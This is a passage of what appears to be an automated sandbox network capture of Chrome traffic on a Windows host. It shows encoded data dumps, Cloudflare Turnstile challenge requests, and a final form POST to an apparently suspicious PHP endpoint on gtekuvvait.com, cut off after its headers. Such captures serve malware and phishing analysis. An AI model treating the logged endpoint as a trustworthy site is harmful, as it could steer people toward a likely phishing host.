36 5a 47 31 73 62 47 75 47 62 Data Ascii: /o5vKwytPq0rO2yOzh09LZ1fm92QTH9vvf6t3Jxw4S4ATl8dD4CvHX+v4YFR8QA/DaGAQoBPcD5Sb75AYqByQBCxEmLyQkJRkeM/UNGfw9Hfs8NBoEJAMUNRhDRTlKLkURDlhLTxdGTxpeNE9WOz5TQF9EZ1M9XWw2SGlBKkYpdT9WQi8vdjpZS1I+SXdhfVRVcYdxRIZ6ZoVKTZF8i42KlY1UdVaGk5aFVnZfdF6agXJzon9mqIN6ZG1sbGuGb
2024-10-01 13:08:17 UTC	1369	IN	Data Raw: 6e 2b 75 58 33 2f 74 44 37 36 2f 33 62 31 37 2f 62 31 66 76 31 44 4e 7a 71 33 4e 2f 67 33 51 37 70 36 52 50 78 7a 67 73 55 32 51 51 47 42 66 6e 71 37 52 55 58 45 77 48 32 41 74 37 38 42 79 67 54 36 52 7a 6f 4a 77 38 4d 2f 43 62 78 4c 2f 34 6e 45 69 7a 78 44 68 41 2b 45 76 63 65 51 68 67 73 45 68 73 79 51 44 41 32 46 42 59 65 4a 51 77 37 44 45 4d 79 52 52 4a 4d 48 79 46 55 45 6c 6c 4e 4c 53 77 58 4f 31 30 54 47 46 41 65 46 31 5a 5a 57 45 70 62 54 47 4d 6e 58 45 5a 70 4a 79 39 6e 61 47 78 54 4d 6d 30 30 4f 6e 46 62 61 55 35 62 57 33 68 59 66 31 31 6b 54 30 52 77 55 6d 75 4b 50 6e 56 2b 61 48 42 76 68 47 5a 63 6a 49 6c 76 64 59 39 30 68 35 4f 4a 6b 48 70 73 66 71 4a 78 6c 47 52 79 5a 58 31 67 5a 35 79 69 71 6d 43 69 70 4b 32 70 67 34 65 75 6f 5a 4b 75 74 6f Data Ascii: n+uX3/tD76/3b17/b1fv1DNzq3N/g3Q7p6RPxzgsU2QQGBfnq7RUXEwH2At78BygT6RzoJw8M/CbxL/4nEizxDhA+EvceQhgsEhsyQDA2FBYeJQw7DEMyRRJMHyFUEllNLSwXO10TGFAeF1ZZWEpbTGMnXEZpJy9naGxTMm00OnFbaU5bW3hYf11kT0RwUmuKPnV+aHBvhGZcjIlvdY90h5OJkHpsfqJxlGRyZX1gZ5yiqmCipK2pg4euoZKuto
2024-10-01 13:08:17 UTC	1369	IN	Data Raw: 75 75 76 43 42 4e 48 30 30 39 45 41 39 67 62 6f 78 38 62 6e 79 66 77 45 38 68 48 31 30 4f 33 6f 43 64 44 72 38 66 37 76 46 4f 2f 7a 32 66 67 56 38 50 33 39 42 53 48 35 41 68 38 59 39 78 44 34 37 2b 38 72 4c 53 30 6b 4e 2b 72 7a 4a 66 6b 53 2b 79 63 4c 49 41 38 63 45 7a 49 51 4a 55 59 31 2b 79 74 43 4e 51 59 49 50 77 6c 4c 51 6c 41 51 56 6b 41 74 4f 43 6b 55 4b 77 39 5a 47 57 45 78 57 54 6b 36 51 45 4e 69 4f 54 68 59 59 43 4a 66 51 55 42 4f 5a 56 6f 70 58 6d 78 52 5a 6c 42 33 54 6c 56 34 66 58 64 5a 57 56 39 62 55 55 35 55 67 31 31 45 51 34 65 4a 66 31 74 74 59 6f 78 6b 54 47 4f 52 64 47 74 4a 6b 6d 36 52 61 35 31 30 56 33 79 58 58 6f 42 35 6a 6e 61 44 67 6d 56 6e 69 48 61 65 6d 33 6d 67 66 5a 43 71 66 71 4e 78 74 72 4b 4f 6a 59 36 53 6e 49 6c 33 74 4c 70 Data Ascii: uuvCBNH009EA9gbox8bnyfwE8hH10O3oCdDr8f7vFO/z2fgV8P39BSH5Ah8Y9xD47+8rLS0kN+rzJfkS+ycLIA8cEzIQJUY1+ytCNQYIPwlLQlAQVkAtOCkUKw9ZGWExWTk6QENiOThYYCJfQUBOZVopXmxRZlB3TlV4fXdZWV9bUU5Ug11EQ4eJf1ttYoxkTGORdGtJkm6Ra510V3yXXoB5jnaDgmVniHaem3mgfZCqfqNxtrKOjY6SnIl3tLp
2024-10-01 13:08:17 UTC	1369	IN	Data Raw: 67 6e 33 35 2b 72 2b 34 77 76 47 33 74 72 51 33 41 54 67 39 77 2f 51 47 74 54 52 43 78 4d 61 48 68 6f 42 39 75 4c 37 49 39 6a 38 43 53 50 6b 2b 52 55 6a 35 52 34 53 49 51 6b 44 43 79 45 4b 49 78 67 78 4c 52 72 31 48 78 6b 63 45 51 77 54 4c 79 34 43 4f 45 6c 43 45 78 4d 61 43 6a 59 6b 4a 69 31 4e 45 69 31 56 4a 55 4d 6d 4c 6c 41 36 4b 31 77 6d 56 44 42 51 4c 6c 30 31 56 56 4e 69 4a 6a 4a 67 57 44 67 33 57 46 38 38 53 33 42 6e 52 53 64 53 5a 54 5a 53 56 58 56 4b 62 44 31 58 55 59 46 53 58 46 64 50 5a 6e 78 45 59 6d 47 47 57 48 6d 41 5a 6b 35 61 69 47 70 6c 58 6d 32 4b 59 35 53 4c 6c 70 31 64 61 58 64 58 6e 47 32 59 57 33 70 67 6c 48 53 56 71 36 4e 71 6c 32 53 48 5a 34 61 46 69 33 42 31 6c 59 39 79 74 33 43 31 64 61 79 53 72 59 79 61 69 70 36 56 64 36 57 65 Data Ascii: gn35+r+4wvG3trQ3ATg9w/QGtTRCxMaHhoB9uL7I9j8CSPk+RUj5R4SIQkDCyEKIxgxLRr1HxkcEQwTLy4COElCExMaCjYkJi1NEi1VJUMmLlA6K1wmVDBQLl01VVNiJjJgWDg3WF88S3BnRSdSZTZSVXVKbD1XUYFSXFdPZnxEYmGGWHmAZk5aiGplXm2KY5SLlp1daXdXnG2YW3pglHSVq6Nql2SHZ4aFi3B1lY9yt3C1daySrYyaip6Vd6We
2024-10-01 13:08:17 UTC	1369	IN	Data Raw: 76 4a 35 64 7a 6f 79 68 45 4c 41 52 6e 59 39 41 58 56 42 39 76 36 49 65 44 30 47 74 76 35 38 41 54 68 46 43 73 42 34 78 67 76 47 65 59 74 4a 77 37 71 49 41 45 52 4f 66 67 4e 45 7a 30 34 44 53 72 38 4c 42 6b 75 52 55 41 6c 48 55 6b 4a 48 53 59 44 44 53 6c 47 42 30 73 49 4c 67 74 41 4b 55 49 51 4c 6a 6c 47 46 45 6c 54 4f 52 67 32 51 54 73 65 4f 69 42 41 49 46 52 46 59 6d 30 74 54 55 55 6e 4d 55 6c 4c 4b 7a 51 30 59 6a 56 6b 56 56 51 7a 50 44 52 71 4f 6d 78 64 62 54 35 76 52 48 35 41 58 6f 74 6d 51 32 4a 74 5a 55 70 38 5a 58 35 4f 67 59 74 79 55 47 31 51 64 6c 53 48 58 49 70 58 59 59 46 36 59 5a 42 39 66 6d 42 2b 65 5a 5a 6d 6d 47 69 4c 61 4a 79 46 71 6d 75 77 6a 5a 42 79 70 4a 47 57 63 33 32 4a 71 6e 69 74 74 35 31 2b 73 4a 6d 66 66 38 54 4c 71 49 4f 34 72 Data Ascii: vJ5dzoyhELARnY9AXVB9v6IeD0Gtv58AThFCsB4xgvGeYtJw7qIAEROfgNEz04DSr8LBkuRUAlHUkJHSYDDSlGB0sILgtAKUIQLjlGFElTORg2QTseOiBAIFRFYm0tTUUnMUlLKzQ0YjVkVVQzPDRqOmxdbT5vRH5AXotmQ2JtZUp8ZX5OgYtyUG1QdlSHXIpXYYF6YZB9fmB+eZZmmGiLaJyFqmuwjZBypJGWc32Jqnitt51+sJmff8TLqIO4r
2024-10-01 13:08:17 UTC	1369	IN	Data Raw: 77 38 64 45 45 44 2f 76 53 33 4f 77 56 36 50 62 73 2f 4e 72 57 47 42 44 5a 4a 65 44 32 36 43 66 6a 43 4f 66 77 48 78 33 73 49 43 73 51 39 51 38 7a 46 2f 49 55 4c 78 38 4a 46 6a 67 77 46 54 51 64 51 68 41 65 4f 79 67 46 4f 78 6b 77 48 67 4d 38 53 69 51 66 51 45 4d 6b 4d 78 52 44 4a 44 4e 58 50 78 67 31 47 46 30 79 55 79 56 5a 4e 42 74 4a 48 53 55 31 51 53 77 6f 58 6d 4e 71 50 32 42 6b 51 53 70 30 56 54 59 35 56 58 39 66 53 48 35 37 58 6a 5a 62 65 46 70 42 55 56 31 49 51 34 70 2f 68 6c 71 4d 67 46 31 47 6b 47 56 53 56 58 47 50 65 32 53 61 6c 33 64 53 64 35 52 7a 58 57 31 35 5a 4b 6c 66 6d 36 4a 31 62 5a 78 35 59 71 74 77 62 6d 32 6b 64 61 75 45 61 33 52 78 64 5a 4b 64 70 38 47 42 6b 61 4a 36 68 62 39 39 68 63 58 44 78 5a 71 37 6a 63 47 63 67 36 36 68 6a 61 Data Ascii: w8dEED/vS3OwV6Pbs/NrWGBDZJeD26CfjCOfwHx3sICsQ9Q8zF/IULx8JFjgwFTQdQhAeOygFOxkwHgM8SiQfQEMkMxRDJDNXPxg1GF0yUyVZNBtJHSU1QSwoXmNqP2BkQSp0VTY5VX9fSH57XjZbeFpBUV1IQ4p/hlqMgF1GkGVSVXGPe2Sal3dSd5RzXW15ZKlfm6J1bZx5Yqtwbm2kdauEa3RxdZKdp8GBkaJ6hb99hcXDxZq7jcGcg66hja

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	49756	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:18 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1936952244:1727784984:kbwdMmMBzX1uE3HA9HIxeqn9rzz7DcMQ_TnkGyMAQ9E/8cbcae183e2342bd/063d5b8f5340141 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:18 UTC	349	IN	HTTP/1.1 404 Not Found Date: Tue, 01 Oct 2024 13:08:18 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: tH2WOw9FVgTvhMqyl4HpcC14I1A+91NKSRU=$jUkFOXDQyjE05hFm Server: cloudflare CF-RAY: 8cbcae3f78c2c344-EWR
2024-10-01 13:08:18 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49757	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:20 UTC	928	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1936952244:1727784984:kbwdMmMBzX1uE3HA9HIxeqn9rzz7DcMQ_TnkGyMAQ9E/8cbcae183e2342bd/063d5b8f5340141 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34357 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 063d5b8f5340141 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/q67wf/0x4AAAAAAAjFTHkBsyQ923ny/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:20 UTC	16384	OUT	Data Raw: 76 5f 38 63 62 63 61 65 31 38 33 65 32 33 34 32 62 64 3d 62 76 6a 74 61 2d 4d 47 4b 58 4b 34 6d 6c 53 65 71 65 59 58 6a 2d 6f 58 34 73 4d 67 65 53 74 6c 6d 65 77 55 65 34 74 4f 6d 34 6f 65 35 74 74 4f 35 53 65 25 32 62 6a 65 62 2d 65 59 76 34 58 65 46 74 62 6d 65 46 65 37 39 4b 65 5a 74 4a 62 32 57 30 74 4d 49 55 65 2d 52 6e 4d 43 31 62 6a 65 43 65 62 52 4d 2d 65 47 72 45 6e 52 73 74 67 39 78 65 79 42 4b 65 6f 54 37 41 2d 54 78 4d 65 73 6f 57 48 58 65 49 77 77 74 65 34 4a 65 34 2b 6a 59 59 58 37 62 65 65 66 68 79 6a 59 36 6a 30 77 65 37 76 6a 34 43 38 36 76 41 37 55 65 4d 51 77 34 61 30 6f 52 31 6a 66 48 6e 34 50 47 6c 65 78 44 4c 6e 65 36 61 30 77 30 4a 6e 65 41 79 54 48 76 79 5a 78 66 6e 49 52 65 67 46 73 41 72 45 79 62 54 53 62 59 72 30 72 76 4b 6c 4a Data Ascii: v_8cbcae183e2342bd=bvjta-MGKXK4mlSeqeYXj-oX4sMgeStlmewUe4tOm4oe5ttO5Se%2bjeb-eYv4XeFtbmeFe79KeZtJb2W0tMIUe-RnMC1bjeCebRM-eGrEnRstg9xeyBKeoT7A-TxMesoWHXeIwwte4Je4+jYYX7beefhyjY6j0we7vj4C86vA7UeMQw4a0oR1jfHn4PGlexDLne6a0w0JneAyTHvyZxfnIRegFsArEybTSbYr0rvKlJ
2024-10-01 13:08:20 UTC	16384	OUT	Data Raw: 79 76 6a 6b 53 65 58 56 4a 2b 4d 4f 4d 6a 76 7a 74 49 35 65 4b 5a 37 65 69 7a 5a 56 4c 48 65 68 65 6e 65 71 65 4c 6e 4d 69 52 37 65 65 41 65 47 65 57 6d 65 4b 65 42 65 37 46 4a 35 4d 32 65 34 65 4c 52 4d 69 65 4d 65 65 52 4d 6a 39 34 4c 42 76 4d 4d 65 4c 52 4d 65 65 67 65 51 2b 65 76 65 35 65 72 6e 6c 48 65 6e 65 31 6e 4c 48 65 24 65 58 65 34 65 65 39 65 73 52 4c 78 65 4b 65 59 52 4d 65 4d 6c 65 41 52 34 47 65 55 65 69 50 37 65 34 24 65 45 65 37 6e 4d 53 65 31 65 4c 50 4d 37 65 61 65 65 4b 4d 62 68 6d 74 4c 36 4d 38 65 59 74 6c 4b 4d 78 65 37 68 48 76 65 4f 65 76 6e 37 6d 34 47 65 56 65 59 53 4d 49 65 57 48 4d 6a 34 24 65 57 47 4d 4b 34 39 65 58 52 4d 78 65 2b 65 4b 78 65 76 4d 44 56 34 74 62 35 65 61 65 4f 65 4a 52 4d 42 55 53 48 65 50 4d 73 6a 47 6e 4c Data Ascii: yvjkSeXVJ+MOMjvztI5eKZ7eizZVLHeheneqeLnMiR7eeAeGeWmeKeBe7FJ5M2e4eLRMieMeeRMj94LBvMMeLRMeegeQ+eve5ernlHene1nLHe$eXe4ee9esRLxeKeYRMeMleAR4GeUeiP7e4$eEe7nMSe1eLPM7eaeeKMbhmtL6M8eYtlKMxe7hHveOevn7m4GeVeYSMIeWHMj4$eWGMK49eXRMxe+eKxevMDV4tb5eaeOeJRMBUSHePMsjGnL
2024-10-01 13:08:20 UTC	1589	OUT	Data Raw: 42 65 2b 32 2d 4b 65 37 31 32 4b 6c 53 61 5a 74 4c 41 66 44 72 57 2b 34 6e 34 49 33 70 65 4d 37 75 6e 65 69 66 76 4b 4f 48 6c 39 58 32 50 76 73 57 45 24 4f 65 4a 48 46 51 2b 32 32 4c 39 6f 74 6e 35 48 2d 4c 52 70 2b 39 31 31 47 58 73 78 58 74 65 48 4c 4b 66 57 24 46 6f 65 24 4f 46 45 51 34 6f 46 65 66 6a 7a 43 61 31 6e 32 6a 65 37 4d 49 6a 6a 43 51 42 2b 79 55 32 32 65 39 2d 61 76 6c 74 4a 37 50 53 52 61 44 51 33 59 77 57 43 59 75 56 6c 50 65 75 65 4d 6b 4d 2d 41 2b 72 75 77 69 50 65 6e 6e 65 24 36 69 52 41 73 62 52 4d 5a 75 54 65 2d 43 77 77 6d 78 59 38 6d 65 57 52 74 68 67 69 4d 65 65 43 77 6c 74 2d 70 4b 35 73 69 47 54 77 76 6d 77 69 73 39 47 39 36 76 2d 52 2d 46 75 4c 63 39 79 24 57 75 4d 63 48 67 51 5a 75 49 63 63 31 24 69 75 57 63 48 79 70 37 6f 46 Data Ascii: Be+2-Ke712KlSaZtLAfDrW+4n4I3peM7uneifvKOHl9X2PvsWE$OeJHFQ+22L9otn5H-LRp+911GXsxXteHLKfW$Foe$OFEQ4oFefjzCa1n2je7MIjjCQB+yU22e9-avltJ7PSRaDQ3YwWCYuVlPeueMkM-A+ruwiPenne$6iRAsbRMZuTe-CwwmxY8meWRthgiMeeCwlt-pK5siGTwvmwis9G96v-R-FuLc9y$WuMcHgQZuIcc1$iuWcHyp7oF
2024-10-01 13:08:20 UTC	1228	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4476 Connection: close cf-chl-out-s: aOzyE1ZT7TJGBWc9AZJANsx6he1DCGzwp3e2S0Mu2Bz4SQ0A9lULH9XyMNV6SrEXZ0EQkSyaeW1+LSJ+kRfLvlTTuL1xjxPE1xMXgbJSrdg8ImvgMcQJgoXHEmZyfhPYpgET3ZWxRJDtPU4/4eNqE9NaZ1iLZwGHAFE1Jd7qsdSRT5vAfabd8og9UzYEwTljefqQW/agq+LzFGuHs6/lXO4JLQGpTfQPw99j8QHpG+IXEtlWu4TIi7N7oaUS+WLVw+a0OiWIB9DTGMc/sghD1lM7dajvRywwAtC8Tnm3f+bgKyrFILSzuFYHNzZfk+nNvnm8cKlwNLHuJQYNWrVjQpHFsMJIDsff3B4PvJ7dbG2YZNCTceXk22n2vr46dsyXpCCMvk6kqhoqQlx4zgGCDE10tx7T5A5Y+Ix8QaLAJLLQhDADJ19ZX38rYcPDEYkuRVy7TE+2Nlfpr21mwmCbCA9XiWla9pWQ2GefrlmqSJ6InuXxP+52S1rOx/1ysJTTkBjsEn4U+sldlxkfyCHowHKjmWQF56SFxRUPRkoV/R1K4RltnjIf2jrvDxt8M62zpAsGqBi3G6R5anWWdA+u3Z8yHTRby3qEi7S1ux9VD2l+AvZhC5NzErKkx2cwskVxhnrxMjyssvMEfIcgZsRVDfQ69Y+4ShPFHi7SrPaTEz7VzzJ/EWR5w6dGXGIto7Ck1RKhtuod2qCDNt2dKPj8SZsE0j/hi1PhEBha6v9vxoW8oS7QWk82WCtaSEF1xz00tbgDVupNLIDipMCVid8cGqn6o/fBmeb0VZdo0rBHbG5EDXiaJRa2mFXDtOWK3Y2rarO8rdSybB+skZupbDQAyYsd9xqvCE6UsGgRiRpPAYUlrI1MCZ8NCyf3bMcqs4xfN5qyf0sIRWSG1vmyF9TWkVfrLl9ym3ty01nWYOpOMr0bcmsKSjUMb3mYDxOWtnqudV43U3XXguBuMY3pcRCFk3khaZg92wlRE2OD86NPeZg70L5aFP [TRUNCATED]
2024-10-01 13:08:20 UTC	203	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 30 35 69 45 76 53 51 4a 41 79 37 75 75 7a 52 59 57 58 44 43 64 75 69 6c 66 6b 68 69 77 54 48 44 43 6a 61 72 4c 46 4b 6d 78 67 4f 6c 37 6f 47 68 55 73 70 75 75 4e 68 48 71 6a 74 73 32 75 50 70 5a 71 53 4c 74 41 71 65 45 72 45 43 53 73 55 4c 4a 69 64 6b 4c 41 76 6b 57 66 41 7a 59 6c 34 33 36 6b 35 6c 46 44 55 36 30 51 56 6e 6a 53 68 70 4d 41 50 66 49 36 6f 3d 24 78 66 76 4e 43 42 6d 38 7a 2b 55 30 7a 31 2f 2f 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 63 62 63 61 65 34 63 66 39 61 36 34 31 65 33 2d 45 57 52 0d 0a 0d 0a Data Ascii: cf-chl-out: 05iEvSQJAy7uuzRYWXDCduilfkhiwTHDCjarLFKmxgOl7oGhUspuuNhHqjts2uPpZqSLtAqeErECSsULJidkLAvkWfAzYl436k5lFDU60QVnjShpMAPfI6o=$xfvNCBm8z+U0z1//Server: cloudflareCF-RAY: 8cbcae4cf9a641e3-EWR
2024-10-01 13:08:20 UTC	1307	IN	Data Raw: 70 5a 69 53 79 6f 57 34 79 37 36 4c 7a 64 50 45 6a 64 57 72 7a 39 44 48 71 71 61 62 79 37 33 62 6b 73 36 55 6e 71 36 35 6e 74 66 44 78 71 61 33 79 4c 36 72 7a 73 72 6e 30 75 79 2f 76 72 37 55 77 38 4c 43 32 73 72 37 2f 4f 6e 50 41 74 6e 74 7a 77 48 34 78 64 7a 41 2f 64 66 6b 78 4f 72 47 2b 4f 33 73 35 67 4c 67 36 51 50 51 79 2b 55 4f 32 42 72 71 44 76 66 77 2f 67 2f 79 37 2b 37 76 39 68 67 43 46 4f 62 6e 44 79 7a 6f 4c 53 51 6d 37 54 45 73 4c 76 55 71 46 54 51 64 4b 42 34 50 50 69 78 45 50 6a 38 76 4a 51 68 44 43 51 55 67 44 41 59 5a 4f 42 45 49 4a 79 51 56 4c 42 5a 4d 44 31 63 32 45 79 56 4d 4b 68 49 38 4e 6b 74 45 57 56 4e 68 4e 6d 64 65 59 53 4e 47 59 55 74 77 55 53 39 79 4d 46 39 4f 4d 6c 4d 35 55 45 30 75 52 56 52 75 65 46 63 2b 58 6e 46 56 68 44 39 Data Ascii: pZiSyoW4y76LzdPEjdWrz9DHqqaby73bks6Unq65ntfDxqa3yL6rzsrn0uy/vr7Uw8LC2sr7/OnPAtntzwH4xdzA/dfkxOrG+O3s5gLg6QPQy+UO2BrqDvfw/g/y7+7v9hgCFObnDyzoLSQm7TEsLvUqFTQdKB4PPixEPj8vJQhDCQUgDAYZOBEIJyQVLBZMD1c2EyVMKhI8NktEWVNhNmdeYSNGYUtwUS9yMF9OMlM5UE0uRVRueFc+XnFVhD9
2024-10-01 13:08:20 UTC	1369	IN	Data Raw: 74 6a 46 6c 30 64 4a 57 63 65 6d 43 43 65 57 70 72 72 58 36 64 5a 70 36 73 6a 49 42 2b 74 34 36 44 70 48 47 76 68 71 71 53 6a 33 2b 2f 6a 61 32 44 6a 35 48 46 6b 70 4f 42 6e 4a 75 38 69 62 79 62 76 59 32 6d 6b 74 58 4d 71 61 6d 5a 72 63 61 53 74 61 36 77 72 39 79 2b 76 71 37 55 74 65 53 6e 36 4b 6e 64 71 2b 33 6b 75 37 2b 78 76 61 7a 47 71 2f 4f 33 77 38 48 6a 35 63 54 74 79 74 69 33 77 64 30 43 76 74 7a 64 78 74 72 68 36 74 72 4d 35 4f 34 4a 79 4e 6f 51 37 75 62 72 31 4d 37 70 43 4e 54 33 30 76 59 5a 37 39 37 54 45 52 41 6d 4a 53 58 79 35 66 45 56 39 65 6f 63 49 41 59 42 43 76 72 2b 41 51 72 78 4d 67 73 6f 4b 53 34 46 43 42 63 4b 44 30 41 73 51 52 45 51 4e 45 55 53 45 69 5a 4e 48 45 31 4e 50 52 31 43 4b 6c 45 6c 44 42 38 70 46 31 67 75 4d 69 68 4f 4a 7a Data Ascii: tjFl0dJWcemCCeWprrX6dZp6sjIB+t46DpHGvhqqSj3+/ja2Dj5HFkpOBnJu8ibybvY2mktXMqamZrcaSta6wr9y+vq7UteSn6Kndq+3ku7+xvazGq/O3w8Hj5cTtyti3wd0Cvtzdxtrh6trM5O4JyNoQ7ubr1M7pCNT30vYZ797TERAmJSXy5fEV9eocIAYBCvr+AQrxMgsoKS4FCBcKD0AsQREQNEUSEiZNHE1NPR1CKlElDB8pF1guMihOJz
2024-10-01 13:08:20 UTC	1369	IN	Data Raw: 6f 48 36 4b 68 59 6d 6a 64 36 2b 65 69 61 4a 71 68 59 75 51 68 34 75 69 61 37 69 6a 71 49 32 59 6a 36 2b 32 6d 4a 4b 78 75 59 5a 35 6c 59 43 44 75 34 4f 75 6d 4a 2b 70 75 63 76 4f 70 35 32 54 6b 74 65 75 31 70 4c 59 31 38 2b 31 6c 37 58 6a 74 36 47 76 30 38 65 6d 76 63 6d 38 70 61 71 73 32 75 72 63 30 64 76 76 79 66 66 6e 2b 4d 7a 79 2b 66 6e 6e 31 76 49 42 36 75 7a 36 76 75 37 7a 41 73 51 46 39 2b 77 4e 7a 41 41 47 79 41 33 64 2f 42 62 54 43 78 67 59 34 77 54 7a 48 50 4c 6d 46 39 66 31 47 50 51 66 2b 79 51 62 4a 68 51 6a 4b 53 30 43 4d 41 59 73 38 51 49 4b 4e 76 51 4a 37 54 72 35 4e 7a 6b 34 43 43 66 39 51 68 64 41 4f 67 45 67 50 30 64 44 53 52 6c 4d 53 45 64 4d 53 67 34 6f 52 43 52 56 54 67 30 35 45 46 6b 70 45 68 6b 34 57 44 4d 79 4e 7a 55 68 49 53 56 Data Ascii: oH6KhYmjd6+eiaJqhYuQh4uia7ijqI2Yj6+2mJKxuYZ5lYCDu4OumJ+pucvOp52Tkteu1pLY18+1l7Xjt6Gv08emvcm8paqs2urc0dvvyffn+Mzy+fnn1vIB6uz6vu7zAsQF9+wNzAAGyA3d/BbTCxgY4wTzHPLmF9f1GPQf+yQbJhQjKS0CMAYs8QIKNvQJ7Tr5Nzk4CCf9QhdAOgEgP0dDSRlMSEdMSg4oRCRVTg05EFkpEhk4WDMyNzUhISV
2024-10-01 13:08:20 UTC	431	IN	Data Raw: 61 70 72 72 4a 32 46 66 32 32 6c 6c 61 65 30 65 48 69 54 6a 58 32 6f 6c 58 32 57 69 72 75 41 6d 70 32 55 78 73 53 64 70 34 4f 6a 6f 61 37 4b 79 71 44 52 69 36 75 2b 6c 36 72 44 78 37 6a 5a 74 5a 6e 53 73 62 62 4c 77 37 57 76 7a 39 4b 35 76 71 54 4c 76 64 6a 63 35 38 48 73 72 4e 37 46 34 4f 76 58 73 66 54 72 32 38 33 39 2f 50 48 54 31 75 4c 38 31 64 72 30 41 74 72 6a 35 67 58 65 35 77 6b 46 34 65 59 4e 42 73 30 47 45 51 7a 72 34 2f 55 45 37 2f 63 52 46 4e 6e 37 47 52 7a 31 4a 69 41 4a 2b 52 55 6b 46 2f 30 49 47 53 67 44 4d 69 45 70 44 51 59 32 4a 67 76 78 43 68 30 4b 44 54 73 53 4d 43 49 52 4e 6a 55 68 42 42 6b 65 2b 79 63 71 43 44 6f 61 50 77 73 45 4a 79 73 69 52 53 5a 4a 4a 53 4d 6e 4e 69 6b 30 4b 6c 41 33 57 46 70 58 4d 46 64 52 4a 6c 74 72 61 53 52 5a Data Ascii: aprrJ2Ff22llae0eHiTjX2olX2WiruAmp2UxsSdp4Ojoa7KyqDRi6u+l6rDx7jZtZnSsbbLw7Wvz9K5vqTLvdjc58HsrN7F4OvXsfTr2839/PHT1uL81dr0Atrj5gXe5wkF4eYNBs0GEQzr4/UE7/cRFNn7GRz1JiAJ+RUkF/0IGSgDMiEpDQY2JgvxCh0KDTsSMCIRNjUhBBke+ycqCDoaPwsEJysiRSZJJSMnNik0KlA3WFpXMFdRJltraSRZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49758	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:21 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1936952244:1727784984:kbwdMmMBzX1uE3HA9HIxeqn9rzz7DcMQ_TnkGyMAQ9E/8cbcae183e2342bd/063d5b8f5340141 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:21 UTC	349	IN	HTTP/1.1 404 Not Found Date: Tue, 01 Oct 2024 13:08:21 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: ih5Qw2QSeDqt1nJrtEshhRA8uScLPFJABS8=$tx5qaZfV5qr7XZGe Server: cloudflare CF-RAY: 8cbcae51c8e40cbe-EWR
2024-10-01 13:08:21 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	49760	104.21.11.126	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:21 UTC	1672	OUT	POST /zuprivater/Xdrrwwipj/uysfdiv0928e374.php HTTP/1.1 Host: gtekuvvait.com Connection: keep-alive Content-Length: 884 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://gtekuvvait.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://gtekuvvait.com/zuprivater/2uHqiHm56t0qCAig6tXfbrxrwnS%5EVEJZjmPHoEPw8m6CxbSHxFbCA2LEJ=HfVs6wz1VugxgGZaQgCQRZIwWw=AnsxqOPCMqb4Y Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 